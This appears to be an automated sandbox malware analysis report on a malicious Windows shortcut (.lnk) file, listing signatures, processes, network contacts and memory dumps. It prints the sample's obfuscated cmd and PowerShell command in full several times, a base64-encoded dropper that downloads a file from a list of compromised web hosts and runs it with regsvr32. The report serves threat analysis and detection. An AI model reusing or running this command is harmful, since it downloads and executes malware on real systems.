Malware Analysis Report

2024-12-07 16:02

Sample ID 241113-qnwcnssgpm
Target 49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6
SHA256 49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6

Threat Level: Likely malicious

The file 49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

An obfuscated cmd.exe command-line is typically used to evade detection.

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 13:24

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 13:24

Reported

2024-11-13 13:27

Platform

win7-20240903-en

Max time kernel

121s

Max time network

121s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /c inBj/o5x2W4E0cK44FXTWcO41XtFpI/KY21wYIADlRyjyGgLRaL+MhZoiwPyX9DFuBZK28aP||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$ZMFiiI=[System.Text.Encoding]::ASCII;$IQOhal='ICAgIFdyaXRlLUhvc3QgIk9HSVp4IjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vb2NhbG9ndWxsYXJpLmNvbS9pbmMvcUZWYTd0em9iMmVRVGs1ZFdELyIsImh0';$aW='dHA6Ly9wZXJmZWN0Z3VhcmQuaHUvYm9hL2FmWjlRNFN1d3M3QXgvIiwiaHR0cDovL29nZW5odWt1ay5jb20vY3NzL1JZbklPZTluVTMvIiwiaHR0cDovL29uZXBpZWNlYXJrLmRvdGhvbWUuY28ua3IvandyL1EvIiwiaHR0cDovL3d3dy5uZXh0Y2FtcG9sYXJnby5jb20uYnIvY2dpLWJpbi9lZVU1SGhzY1oxMFk1TzJTcy8iLCJodHRwczovL3d3dy5vbGFmcy1yYWRsYWRlbi5kZS9jYXB0Y2hhL2lUTlJVdXNXWTNxTmxoQnBHLyIpOyR0PSJSWE11UE1XVFgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcVUhzbmNWR3RSZS5rVFY7UmVnc3ZyMzIuZXhlICIkZFxVSHNuY1ZHdFJlLmtUViI7YnJlYWt9IGNhdGNoIHsgfX0=';$KggH=[System.Convert]::FromBase64String($IQOhal+$aW);$LWOg=$ZMFiiI.GetString($KggH); iex ($LWOg)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$ZMFiiI=[System.Text.Encoding]::ASCII;$IQOhal='ICAgIFdyaXRlLUhvc3QgIk9HSVp4IjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vb2NhbG9ndWxsYXJpLmNvbS9pbmMvcUZWYTd0em9iMmVRVGs1ZFdELyIsImh0';$aW='dHA6Ly9wZXJmZWN0Z3VhcmQuaHUvYm9hL2FmWjlRNFN1d3M3QXgvIiwiaHR0cDovL29nZW5odWt1ay5jb20vY3NzL1JZbklPZTluVTMvIiwiaHR0cDovL29uZXBpZWNlYXJrLmRvdGhvbWUuY28ua3IvandyL1EvIiwiaHR0cDovL3d3dy5uZXh0Y2FtcG9sYXJnby5jb20uYnIvY2dpLWJpbi9lZVU1SGhzY1oxMFk1TzJTcy8iLCJodHRwczovL3d3dy5vbGFmcy1yYWRsYWRlbi5kZS9jYXB0Y2hhL2lUTlJVdXNXWTNxTmxoQnBHLyIpOyR0PSJSWE11UE1XVFgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcVUhzbmNWR3RSZS5rVFY7UmVnc3ZyMzIuZXhlICIkZFxVSHNuY1ZHdFJlLmtUViI7YnJlYWt9IGNhdGNoIHsgfX0=';$KggH=[System.Convert]::FromBase64String($IQOhal+$aW);$LWOg=$ZMFiiI.GetString($KggH); iex ($LWOg)}"

Network

N/A

Files

memory/2704-40-0x000007FEF580E000-0x000007FEF580F000-memory.dmp

memory/2704-41-0x000000001B560000-0x000000001B842000-memory.dmp

memory/2704-42-0x00000000027F0000-0x00000000027F8000-memory.dmp

memory/2704-43-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

memory/2704-44-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

memory/2704-46-0x0000000002BAB000-0x0000000002C12000-memory.dmp

memory/2704-45-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 13:24

Reported

2024-11-13 13:27

Platform

win10v2004-20241007-en

Max time kernel

92s

Max time network

136s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1360 wrote to memory of 4380 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 1360 wrote to memory of 4380 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 4380 wrote to memory of 3056 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4380 wrote to memory of 3056 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\49b0bde7e3f9443953e245b6be0791bcdaa08f5131379d54b035285557dfeeb6.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /c inBj/o5x2W4E0cK44FXTWcO41XtFpI/KY21wYIADlRyjyGgLRaL+MhZoiwPyX9DFuBZK28aP||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$ZMFiiI=[System.Text.Encoding]::ASCII;$IQOhal='ICAgIFdyaXRlLUhvc3QgIk9HSVp4IjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vb2NhbG9ndWxsYXJpLmNvbS9pbmMvcUZWYTd0em9iMmVRVGs1ZFdELyIsImh0';$aW='dHA6Ly9wZXJmZWN0Z3VhcmQuaHUvYm9hL2FmWjlRNFN1d3M3QXgvIiwiaHR0cDovL29nZW5odWt1ay5jb20vY3NzL1JZbklPZTluVTMvIiwiaHR0cDovL29uZXBpZWNlYXJrLmRvdGhvbWUuY28ua3IvandyL1EvIiwiaHR0cDovL3d3dy5uZXh0Y2FtcG9sYXJnby5jb20uYnIvY2dpLWJpbi9lZVU1SGhzY1oxMFk1TzJTcy8iLCJodHRwczovL3d3dy5vbGFmcy1yYWRsYWRlbi5kZS9jYXB0Y2hhL2lUTlJVdXNXWTNxTmxoQnBHLyIpOyR0PSJSWE11UE1XVFgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcVUhzbmNWR3RSZS5rVFY7UmVnc3ZyMzIuZXhlICIkZFxVSHNuY1ZHdFJlLmtUViI7YnJlYWt9IGNhdGNoIHsgfX0=';$KggH=[System.Convert]::FromBase64String($IQOhal+$aW);$LWOg=$ZMFiiI.GetString($KggH); iex ($LWOg)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$ZMFiiI=[System.Text.Encoding]::ASCII;$IQOhal='ICAgIFdyaXRlLUhvc3QgIk9HSVp4IjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vb2NhbG9ndWxsYXJpLmNvbS9pbmMvcUZWYTd0em9iMmVRVGs1ZFdELyIsImh0';$aW='dHA6Ly9wZXJmZWN0Z3VhcmQuaHUvYm9hL2FmWjlRNFN1d3M3QXgvIiwiaHR0cDovL29nZW5odWt1ay5jb20vY3NzL1JZbklPZTluVTMvIiwiaHR0cDovL29uZXBpZWNlYXJrLmRvdGhvbWUuY28ua3IvandyL1EvIiwiaHR0cDovL3d3dy5uZXh0Y2FtcG9sYXJnby5jb20uYnIvY2dpLWJpbi9lZVU1SGhzY1oxMFk1TzJTcy8iLCJodHRwczovL3d3dy5vbGFmcy1yYWRsYWRlbi5kZS9jYXB0Y2hhL2lUTlJVdXNXWTNxTmxoQnBHLyIpOyR0PSJSWE11UE1XVFgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcVUhzbmNWR3RSZS5rVFY7UmVnc3ZyMzIuZXhlICIkZFxVSHNuY1ZHdFJlLmtUViI7YnJlYWt9IGNhdGNoIHsgfX0=';$KggH=[System.Convert]::FromBase64String($IQOhal+$aW);$LWOg=$ZMFiiI.GetString($KggH); iex ($LWOg)}"

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 ocalogullari.com udp
TR 78.135.114.63:80 ocalogullari.com tcp
US 8.8.8.8:53 perfectguard.hu udp
US 8.8.8.8:53 ogenhukuk.com udp
TR 94.138.200.30:80 ogenhukuk.com tcp
US 8.8.8.8:53 63.114.135.78.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 onepieceark.dothome.co.kr udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 30.200.138.94.in-addr.arpa udp
US 8.8.8.8:53 www.nextcampolargo.com.br udp
US 8.8.8.8:53 www.olafs-radladen.de udp
DE 85.214.219.112:443 www.olafs-radladen.de tcp
US 8.8.8.8:53 112.219.214.85.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/3056-0-0x00007FF91E913000-0x00007FF91E915000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxza3j5j.hc2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3056-10-0x000001D38EF90000-0x000001D38EFB2000-memory.dmp

memory/3056-11-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

memory/3056-12-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

memory/3056-13-0x000001D3A9E30000-0x000001D3AA5D6000-memory.dmp

memory/3056-17-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp